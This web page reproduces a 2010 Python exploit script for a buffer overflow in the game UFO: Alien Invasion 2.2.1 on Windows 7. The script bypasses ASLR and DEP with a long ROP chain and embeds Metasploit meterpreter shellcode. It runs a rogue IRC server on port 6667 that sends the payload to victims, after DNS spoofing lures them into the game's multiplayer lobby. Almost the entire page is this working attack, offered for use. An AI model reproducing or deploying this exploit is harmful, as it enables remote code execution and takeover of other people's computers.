Home / os / win7

UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP By

Posted on 05 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================= UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass) ================================================================= #!/usr/bin/python # # Exploit Title: UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass) # Date: July 5, 2010 # Author: Node # Software Link: http://sourceforge.net/projects/ufoai/files/UFO_AI%202.x/2.2.1/ufoai-2.2.1-win32.exe/download # Version: &quot;UFO: Alien Invasion 2.2.1 x86 Apr 28 2008 Win32 RELEASE&quot; # Tested on: Windows 7 Ultimate x64 ENG # CVE : # Max shellcode size: 328 bytes # Badchars: 'x00x0ax0d' # Instructions: 1. DNS spoof/redirect &quot;irc.freenode.org&quot; to your ip # 2- Have your victim click &quot;Multiplayer&quot; and then &quot;Lobby&quot; # # Notes: There is a possibility that this exploit can work on a different # windows version, by just changing the last bytes of 0xffff34ec # to wherever VirtualProtect() resides in that version of kernel32.dll. import sys, socket #msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -b 'x00x0ax0d' -t c #[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1) shellcode = (&quot;xbfxb7x89xfex0exdaxd3xd9x74x24xf4x2bxc9xb1x4b&quot; + &quot;x5ex83xc6x04x31x7ex11x03x7ex11xe2x42x75x16x87&quot; + &quot;xacx86xe7xf8x25x63xd6x2ax51xe7x4bxfbx12xa5x67&quot; + &quot;x70x76x5exf3xf4x5ex51xb4xb3xb8x5cx45x72x04x32&quot; + &quot;x85x14xf8x49xdaxf6xc1x81x2fxf6x06xffxc0xaaxdf&quot; + &quot;x8bx73x5bx54xc9x4fx5axbax45xefx24xbfx9ax84x9e&quot; + &quot;xbexcax35x94x88xf2x3exf2x28x02x92xe0x14x4dx9f&quot; + &quot;xd3xefx4cx49x2ax10x7fxb5xe1x2fx4fx38xfbx68x68&quot; + &quot;xa3x8ex82x8ax5ex89x51xf0x84x1cx47x52x4ex86xa3&quot; + &quot;x62x83x51x20x68x68x15x6ex6dx6fxfax05x89xe4xfd&quot; + &quot;xc9x1bxbexd9xcdx40x64x43x54x2dxcbx7cx86x89xb4&quot; + &quot;xd8xcdx38xa0x5bx8cx54x05x56x2exa5x01xe1x5dx97&quot; + &quot;x8ex59xc9x9bx47x44x0exdbx7dx30x80x22x7ex41x89&quot; + &quot;xe0x2ax11xa1xc1x52xfax31xedx86xadx61x41x79x0e&quot; + &quot;xd1x21x29xe6x3bxaex16x16x44x64x3fxe6x61xd4x28&quot; + &quot;x0bx95xcaxf4x82x73x86x14xc3x2cx3fxd7x30xe5xd8&quot; + &quot;x28x13x5ax70xbfx2bxb5x46xc0xabx90xe4x6dx03x72&quot; + &quot;x7fx7ex90x63x80xabxb0xf4x17x21x51xb7x86x36x78&quot; + &quot;x2dx49xa3x87xe7x1ex5bx8axdex69xc4x75x35xe2xcd&quot; + &quot;xe3xf5x9dx31xe4xf5x5dx64x6exf5x35xd0xcaxa6x20&quot; + &quot;x1fxc7xdbxf8x8axe8x8dxadx1dx81x33x8bx6ax0excc&quot; + &quot;xfex6ax72x1bxc7xe8x82x2ex2bx31x60&quot;) #start rop = &quot;x5axc9x70x61&quot; #0x6170C95A : PUSH ESP # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;xd6x14x6cx68&quot; #0x686C14D6 : ADD ESP,1C rop += &quot;1111&quot; #VirtualProtect placeholder rop += &quot;2222&quot; #return address placeholder rop += &quot;3333&quot; #lpAddress placeholder rop += &quot;4444&quot; #dwsize placeholder rop += &quot;5555&quot; #flNewProtect placeholder rop += &quot;x05xe0x76x61&quot; #0x6176e005 lpflOldProtect writable in SDL_mixer.dll rop += &quot;A&quot;*4 rop += &quot;x45x57x10x68&quot; #0x68105745 : MOV EAX,EBX # POP EBX # POP EBP rop += &quot;A&quot;*8 rop += &quot;xddx5bx10x68&quot; #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX #grabbing kernel32 rop += &quot;xb8x51x58x67&quot; #0x675851B8 : MOV EAX,200 rop += &quot;x71x33x6cx68&quot; #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;x53x23x10x68&quot; #0x68102353 : XOR EAX,EAX rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 A0 rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x25x54x72x61&quot; #0x61725425 : ADD ECX,EBP rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x25x54x72x61&quot; #0x61725425 : ADD ECX,EBP 9a0 rop += &quot;x73x33x6cx68&quot; #0x686C3373 : MOV EAX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x28x51x58x67&quot; #0x67585128 : MOV EAX,2 rop += &quot;x71x33x6cx68&quot; #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x6fx9fx58x67&quot; #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX rop += &quot;x9cx8dx59x67&quot; #0x67598D9C : POP ECX rop += &quot;x05xe0x76x61&quot; #0x6176e005 : writable rop += &quot;xeex9bx71x61&quot; #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;x67x01x11x68&quot; #0x68110167 : MOV EAX,DWORD PTR DS:[EAX] #VirtualProtect() rop += &quot;x71x33x6cx68&quot; #0x686C3371 : # MOV ECX,EAX # MOV EAX,ECX rop += &quot;x5axc9x70x61&quot; #0x6170C95A : {POP} # PUSH ESP # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;x53x23x10x68&quot; #0x68102353 : # XOR EAX,EAX rop += &quot;x50x49x58x67&quot; #0x67584950 : # ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : # ADD EAX,20 rop += &quot;x50x49x58x67&quot; #0x67584950 : # ADD EAX,20 rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : # XCHG EAX,EBP rop += &quot;x6ax1fx13x68&quot; #0x68131F6A : # ADD EBP,EBX rop += &quot;x73x33x6cx68&quot; #0x686C3373 : # MOV EAX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : # XCHG EAX,EBP rop += &quot;x71x33x6cx68&quot; #0x686C3371 : # MOV ECX,EAX # MOV EAX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : # XCHG EAX,EBP rop += &quot;xe2x13x6cx68&quot; #0x686C13E2 : # POP EBX rop += &quot;xecx34xffxff&quot; #VirtualProtect() is found at 0x????34ec, if not, change this to match your windows version rop += &quot;x42x35x80x70&quot; #0x70803542 : # XOR AL,AL # POP EBP rop += &quot;A&quot;*4 rop += &quot;x02x4dx6dx68&quot; #0x686D4D02 : # ADD AL,BL rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : # XCHG EAX,EBP rop += &quot;x73x33x6cx68&quot; #0x686C3373 : # MOV EAX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : # XCHG EAX,EBP rop += &quot;x71x33x6cx68&quot; #0x686C3371 : # MOV ECX,EAX # MOV EAX,ECX rop += &quot;x34xa5x70x61&quot; #0x6170A534 : # MOV CH,BH # ADD AL,BYTE PTR DS:[EAX] # MOV ESP,EBP # POP EBP rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;xb9x4bx58x67&quot; #0x67584BB9 : MOV DWORD PTR DS:[EDX],ECX #fetch shellcode rop += &quot;x5axc9x70x61&quot; #0x6170C95A : {POP} # PUSH ESP # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x45x57x10x68&quot; #0x68105745 : {POP} # MOV EAX,EBX # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;A&quot;*4 rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x53x23x10x68&quot; #0x68102353 : XOR EAX,EAX rop += &quot;xe2x13x6cx68&quot; #0x686C13E2 : # POP EBX rop += &quot;xacxffxffxff&quot; #0xac * 2 = 0x158 rop += &quot;x02x4dx6dx68&quot; #0x686D4D02 : # ADD AL,BL rop += &quot;x71x33x6cx68&quot; #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;x73x33x6cx68&quot; #0x686C3373 : MOV EAX,ECX rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x6fx9fx58x67&quot; #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX shellcode rop += &quot;xb9x4bx58x67&quot; #0x67584BB9 : # MOV DWORD PTR DS:[EDX],ECX #again rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x73x33x6cx68&quot; #0x686C3373 : MOV EAX,ECX rop += &quot;x26x51x58x67&quot; #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #set dwsize 0x148 (328) rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop += &quot;x53x23x10x68&quot; #0x68102353 : XOR EAX,EAX rop += &quot;xe2x13x6cx68&quot; #0x686C13E2 : # POP EBX rop += &quot;xa4xffxffxff&quot; #0xa4 * 2 = 0x148 (328) rop += &quot;x02x4dx6dx68&quot; #0x686D4D02 : # ADD AL,BL rop += &quot;x71x33x6cx68&quot; #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop += &quot;x73x33x6cx68&quot; #0x686C3373 : MOV EAX,ECX rop += &quot;x26x51x58x67&quot; #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #forwardjump rop += &quot;x53x23x10x68&quot; #0x68102353 : XOR EAX,EAX rop += &quot;xe2x13x6cx68&quot; #0x686C13E2 : # POP EBX rop += &quot;x70xffxffxff&quot; # 0x70 rop += &quot;x02x4dx6dx68&quot; #0x686D4D02 : # ADD AL,BL rop += &quot;x5axc9x70x61&quot; #0x6170C95A : {POP} # PUSH ESP # POP EBX # POP EBP rop += &quot;A&quot;*4 rop += &quot;x6bx8cx13x68&quot; #0x68138C6B : XCHG EAX,EBP rop += &quot;x6ax1fx13x68&quot; #0x68131F6A : # ADD EBP,EBX rop += &quot;xc6xcdx6dx68&quot; #0x686DCDC6 : # LEAVE rop += &quot;A&quot;*4 #backjump rop2 = &quot;x5axc9x70x61&quot; #0x6170C95A : {POP} # PUSH ESP # POP EBX # POP EBP rop2 += &quot;A&quot;*4 rop2 += &quot;x45x57x10x68&quot; #0x68105745 : {POP} # MOV EAX,EBX # POP EBX # POP EBP rop2 += &quot;A&quot;*4 rop2 += &quot;A&quot;*4 rop2 += &quot;xddx5bx10x68&quot; #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX rop2 += &quot;xb8x51x58x67&quot; #0x675851B8 : MOV EAX,200 rop2 += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop2 += &quot;xe2x13x6cx68&quot; #0x686C13E2 : # POP EBX rop2 += &quot;x0cxffxffxff&quot; # 12 rop2 += &quot;x02x4dx6dx68&quot; #0x686D4D02 : # ADD AL,BL rop2 += &quot;x9cx8dx59x67&quot; #0x67598D9C : POP ECX rop2 += &quot;x05xe0x76x61&quot; #0x6176e005 : writable rop2 += &quot;xeex9bx71x61&quot; #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP rop2 += &quot;A&quot;*4 rop2 += &quot;A&quot;*4 rop2 += &quot;A&quot;*4 rop2 += &quot;x7ax36x13x68&quot; #0x6813367A : XCHG EAX,ESP #set flNewProtect 0x40 (land here) rop2 += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop2 += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop2 += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop2 += &quot;x72x34x58x67&quot; #0x67583472 : INC EDX # DEC EAX rop2 += &quot;x53x23x10x68&quot; #0x68102353 : XOR EAX,EAX rop2 += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop2 += &quot;x50x49x58x67&quot; #0x67584950 : ADD EAX,20 rop2 += &quot;x26x51x58x67&quot; #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #ending rop2 += &quot;x71x33x6cx68&quot; #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop2 += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop2 += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop2 += &quot;xe3xf9x71x61&quot; #0x6171F9E3 : ADD ECX,ECX rop2 += &quot;x73x33x6cx68&quot; #0x686C3373 : MOV EAX,ECX rop2 += &quot;x52x3dx13x68&quot; #0x68133D52 : SUB EDX,EAX # MOV EAX,EDX rop2 += &quot;x7ax36x13x68&quot; #0x6813367A : XCHG EAX,ESP end = &quot;x0dx0a&quot; sploit = &quot;001 :&quot; sploit += rop sploit += &quot;x90&quot; * (552 - len(rop)) sploit += rop2 sploit += shellcode sploit += end s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 6667)) s.listen(1) print (&quot;[*] Listening on port 6667.&quot;) print (&quot;[*] Have someone connect to you.&quot;) print (&quot;[*] Type &lt;control&gt;-c to exit.&quot;) conn, addr = s.accept() print '[*] Received connection from: ', addr conn.send(sploit) conn.close # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP